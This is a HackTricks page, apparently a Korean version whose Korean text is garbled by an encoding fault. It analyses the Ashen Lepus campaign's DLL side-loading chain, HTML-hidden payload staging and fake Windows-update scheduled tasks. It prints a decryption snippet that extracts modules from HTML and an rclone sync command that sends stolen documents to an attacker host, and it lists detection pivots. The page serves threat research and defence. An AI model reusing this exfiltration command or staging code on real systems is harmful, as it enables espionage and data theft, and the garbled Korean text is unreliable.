Advanced DLL Side-Loading With HTML-Embedded Payload Staging
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ ์ ๊ฐ์
Ashen Lepus (aka WIRTE)๋ ์ฌํ ๊ฐ๋ฅํ ํจํด์ ๋ฌด๊ธฐํํ์ฌ DLL sideloading, staged HTML payloads, ๋ฐ modular .NET backdoors๋ฅผ ์ฐ์์ ์ผ๋ก ๊ฒฐํฉํจ์ผ๋ก์จ ์ค๋ ์ธ๊ต ๋คํธ์ํฌ์ ์ง์์ ์ผ๋ก ์์ฃผ(persist)ํ๋ค. ์ด ๊ธฐ๋ฒ์ ๋ค์์ ์์กดํ๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ์ด์์๋ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ๋ค:
- Archive-based social engineering: ์ ์์ ์ธ PDF๊ฐ ๋์์๊ฒ ํ์ผ ๊ณต์ ์ฌ์ดํธ์์ RAR ์์นด์ด๋ธ๋ฅผ ๋ด๋ ค๋ฐ๋๋ก ์ง์ํ๋ค. ์์นด์ด๋ธ์๋ ์ค์ ์ฒ๋ผ ๋ณด์ด๋ ๋ฌธ์ ๋ทฐ์ด EXE, ์ ๋ขฐ๋๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ด๋ฆ์ ๋ด ์
์ฑ DLL(์:
netutils.dll,srvcli.dll,dwampi.dll,wtsapi32.dll), ๊ทธ๋ฆฌ๊ณ ๋ฏธ๋ผDocument.pdf๊ฐ ๋ฒ๋ค๋ก ํฌํจ๋๋ค. - DLL search order abuse: ์ฌ์ฉ์๊ฐ EXE๋ฅผ ๋๋ธํด๋ฆญํ๋ฉด Windows๋ ํ์ฌ ๋๋ ํฐ๋ฆฌ์์ DLL import๋ฅผ ํด๊ฒฐํ๊ณ , ์ ์ฑ ๋ก๋(AshenLoader)๊ฐ ์ ๋ขฐ๋ ํ๋ก์ธ์ค ๋ด๋ถ์์ ์คํ๋๋ ๋์ ๋ฏธ๋ผ PDF๊ฐ ์ด๋ ค ์์ฌ์ ํผํ๋ค.
- Living-off-the-land staging: ์ดํ ๋ชจ๋ ๋จ๊ณ(AshenStager โ AshenOrchestrator โ modules)๋ ํ์ํ ๋๊น์ง ๋์คํฌ์ ๋จ๊ธฐ์ง ์๊ณ , ํ๋ฒํด ๋ณด์ด๋ HTML ์๋ต ๋ด๋ถ์ ์จ๊ฒจ์ง ์ํธํ๋ ๋ธ๋กญ์ผ๋ก ์ ๋ฌ๋๋ค.
๋ค๋จ๊ณ Side-Loading ์ฒด์ธ
- Decoy EXE โ AshenLoader: EXE๋ AshenLoader๋ฅผ side-loadํ๊ณ , AshenLoader๋ ํธ์คํธ ์ ์ฐฐ์ ์ํํ ๋ค ์์ฒด๋ฅผ AES-CTR๋ก ์ํธํํ์ฌ
token=,id=,q=, ๋๋auth=๊ฐ์ ํ์ ํ๋ ๋งค๊ฐ๋ณ์ ๋ด๋ถ์ POST๋ก ์ ์กํ๊ณ/api/v2/account๊ฐ์ API์ฒ๋ผ ๋ณด์ด๋ ๊ฒฝ๋ก๋ก ๋ณด๋ธ๋ค. - HTML extraction: C2๋ ํด๋ผ์ด์ธํธ IP๊ฐ ๋ชฉํ ์ง์ญ์ผ๋ก ์ง๋ฆฌ์ ์์น๊ฐ ํ์ธ๋๊ณ
User-Agent๊ฐ ์ํ๋ํธ์ ์ผ์นํ ๋๋ง ๋ค์ ๋จ๊ณ๋ฅผ ๋ ธ์ถํด ์๋๋ฐ์ค๋ฅผ ํํผํ๋ค. ๊ฒ์ฌ์ ํต๊ณผํ๋ฉด HTTP ๋ณธ๋ฌธ์๋ Base64/AES-CTR๋ก ์ํธํ๋ AshenStager ํ์ด๋ก๋๊ฐ ๋ด๊ธด<headerp>...</headerp>๋ธ๋กญ์ด ํฌํจ๋๋ค. - Second sideload: AshenStager๋
wtsapi32.dll์ importํ๋ ๋ ๋ค๋ฅธ ์ ์์ ์ธ ๋ฐ์ด๋๋ฆฌ๋ก ๋ฐฐํฌ๋๋ค. ํด๋น ๋ฐ์ด๋๋ฆฌ์ ์ฃผ์ ๋ ์ ์ฑ ๋ณต์ฌ๋ณธ์ ๋ ๋ง์ HTML์ ๊ฐ์ ธ์ค๋ฉฐ, ์ด๋ฒ์๋<article>...</article>์ carveํ์ฌ AshenOrchestrator๋ฅผ ๋ณต์ํ๋ค. - AshenOrchestrator: Base64 JSON config๋ฅผ ๋์ฝ๋ํ๋ modular .NET ์ปจํธ๋กค๋ฌ๋ค. config์
tg๋ฐauํ๋๋ ์ด์ด๋ถ์ด๊ฑฐ๋ ํด์๋์ด AES ํค๋ฅผ ๋ง๋๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ์ด ํค๋xrk๋ฅผ ๋ณตํธํํ๋ค. ๋ณตํธํ๋ ๋ฐ์ดํธ๋ ์ดํ ๊ฐ์ ธ์ค๋ ๋ชจ๋ ๋ชจ๋ ๋ธ๋กญ์ ๋ํด XOR ํค๋ก ์ฌ์ฉ๋๋ค. - Module delivery: ๊ฐ ๋ชจ๋์ ํ์๋ฅผ ์์์ ํ๊ทธ๋ก ๋ฆฌ๋ค์ด๋ ํธํ๋ HTML ์ฃผ์์ ํตํด ๊ธฐ์ ๋์ด
<headerp>๋๋<article>๋ง ์ฐพ๋ ์ ์ ๊ท์น์ ๊นจํธ๋ฆฐ๋ค. ๋ชจ๋์๋ persistence(PR*), uninstallers(UN*), reconnaissance(SN), screen capture(SCT), file exploration(FE) ๋ฑ์ด ํฌํจ๋๋ค.
HTML ์ปจํ ์ด๋ ํ์ฑ ํจํด
var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
var module = XorBytes(aesBytes, xorKey);
LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));
Even if defenders block or strip a specific element, the operator only needs to change the tag hinted in the HTML comment to resume delivery.
์ํธํ ๋ฐ C2 ํ๋๋
- AES-CTR everywhere: current loaders embed 256-bit keys plus nonces (e.g.,
{9a 20 51 98 ...}) and optionally add an XOR layer using strings such asmsasn1.dllbefore/after decryption. - Recon smuggling: ์ด๊ฑฐ๋ ๋ฐ์ดํฐ์ ์ด์ Program Files ๋ชฉ๋ก์ด ํฌํจ๋์ด ๊ณ ๊ฐ์น ์ฑ์ ์๋ณํ๊ณ ํธ์คํธ๋ฅผ ๋ ๋๊ธฐ ์ ์ ํญ์ ์ํธํ๋๋ค.
- URI churn: ์ฟผ๋ฆฌ ๋งค๊ฐ๋ณ์์ REST ๊ฒฝ๋ก๊ฐ ์บ ํ์ธ๋ง๋ค ํ์ ํ๋ค (
/api/v1/account?token=โ/api/v2/account?auth=), ์ด์ ๋ฐ๋ผ ์ทจ์ฝํ ํ์ง๋ ๋ฌดํจํ๋๋ค. - Gated delivery: ์๋ฒ๋ ์ง๋ฆฌ์ ์ผ๋ก ์ ํ๋๋ฉฐ ์ค์ implants์๋ง ์๋ตํ๋ค. ์น์ธ๋์ง ์์ ํด๋ผ์ด์ธํธ์๋ ์์ฌ์ค๋ฝ์ง ์์ HTML์ ๋ฐํํ๋ค.
Persistence & Execution Loop
AshenStager๋ Windows ์ ์ง๊ด๋ฆฌ ์์
์ผ๋ก ์์ฅํ ์์ฝ ์์
์ ๋จ์ด๋จ๋ฆฌ๊ณ svchost.exe๋ฅผ ํตํด ์คํํ๋ค. ์:
C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender UpdaterC:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services UpdaterC:\Windows\System32\Tasks\Automatic Windows Update
์ด ์์ฝ ์์ ๋ค์ ๋ถํ ์ ๋๋ ์ฃผ๊ธฐ์ ์ผ๋ก sideloading ์ฒด์ธ์ ์ฌ์คํํ์ฌ AshenOrchestrator๊ฐ ๋์คํฌ๋ฅผ ๋ค์ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋ ์ต์ ๋ชจ๋์ ์์ฒญํ ์ ์๊ฒ ํ๋ค.
Benign Sync Clients๋ฅผ ์ฌ์ฉํ Exfiltration
Operators๋ ์ ์ฉ ๋ชจ๋์ ํตํด ์ธ๊ต ๋ฌธ์๋ฅผ C:\Users\Public(๋ชจ๋๊ฐ ์ฝ์ ์ ์๊ณ ์์ฌ์ค๋ฝ์ง ์์ ์์น)์ ์คํ
์ด์งํ ๋ค, ํฉ๋ฒ์ ์ธ Rclone ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ค์ด๋ก๋ํด ํด๋น ๋๋ ํ ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ์ ์ ์ฅ์์ ๋๊ธฐํํ๋ค:
- Stage: ๋์ ํ์ผ์
C:\Users\Public\{campaign}\๋ก ๋ณต์ฌ/์์ง. - Configure: ๊ณต๊ฒฉ์ ์ ์ด์ HTTPS ์๋ํฌ์ธํธ(์:
api.technology-system[.]com)๋ฅผ ๊ฐ๋ฆฌํค๋ Rclone config ์ ์ก. - Sync:
rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quiet์คํํ์ฌ ํธ๋ํฝ์ด ์ผ๋ฐ์ ์ธ ํด๋ผ์ฐ๋ ๋ฐฑ์ ์ฒ๋ผ ๋ณด์ด๊ฒ ํจ.
Rclone์ ํฉ๋ฒ์ ์ธ ๋ฐฑ์
์ํฌํ๋ก์์ ๋๋ฆฌ ์ฌ์ฉ๋๋ฏ๋ก, ๋ฐฉ์ด์๋ ๋น์ ์์ ์คํ(์ ๋ฐ์ด๋๋ฆฌ, ์ด์ํ remote, ๋๋ C:\Users\Public์ ๊ฐ์์ค๋ฐ ๋๊ธฐํ)์ ์ฃผ๋ชฉํด์ผ ํ๋ค.
Detection Pivots
- ์๋ช
๋ ํ๋ก์ธ์ค๊ฐ ์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ฒฝ๋ก์์ DLL์ ์๊ธฐ์น ์๊ฒ ๋ก๋ํ๋ ๊ฒฝ์ฐ ๊ฒฝ๋ณด(Procmon ํํฐ +
Get-ProcessMitigation -Module), ํนํ DLL ์ด๋ฆ์ดnetutils,srvcli,dwampi, ๋๋wtsapi32์ ์ค๋ณต๋ ๋์ ์ฃผ์. - ์์ฌ์ค๋ฌ์ด HTTPS ์๋ต์์ ํน์ดํ ํ๊ทธ ์์ ํฌํจ๋ ํฐ Base64 ๋ธ๋ ๋๋
<!-- TAG: <xyz> -->์ฃผ์์ผ๋ก ๋ณดํธ๋ ๋ด์ฉ์ ๊ฒ์ฌ. - svchost.exe๋ฅผ ์๋น์ค๊ฐ ์๋ ์ธ์๋ก ์คํํ๊ฑฐ๋ dropper ๋๋ ํ ๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํค๋ ์์ฝ ์์ ์ ์ฌ๋ฅ.
- IT ๊ด๋ฆฌ ์์น ๋ฐ์์ ๋ํ๋๋ Rclone ๋ฐ์ด๋๋ฆฌ, ์๋ก์ด
rclone.confํ์ผ, ๋๋C:\Users\Public๊ฐ์ ์คํ ์ด์ง ๋๋ ํ ๋ฆฌ์์ ๊ฐ์ ธ์ค๋ ๋๊ธฐํ ์์ ์ ๋ชจ๋ํฐ๋ง.
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


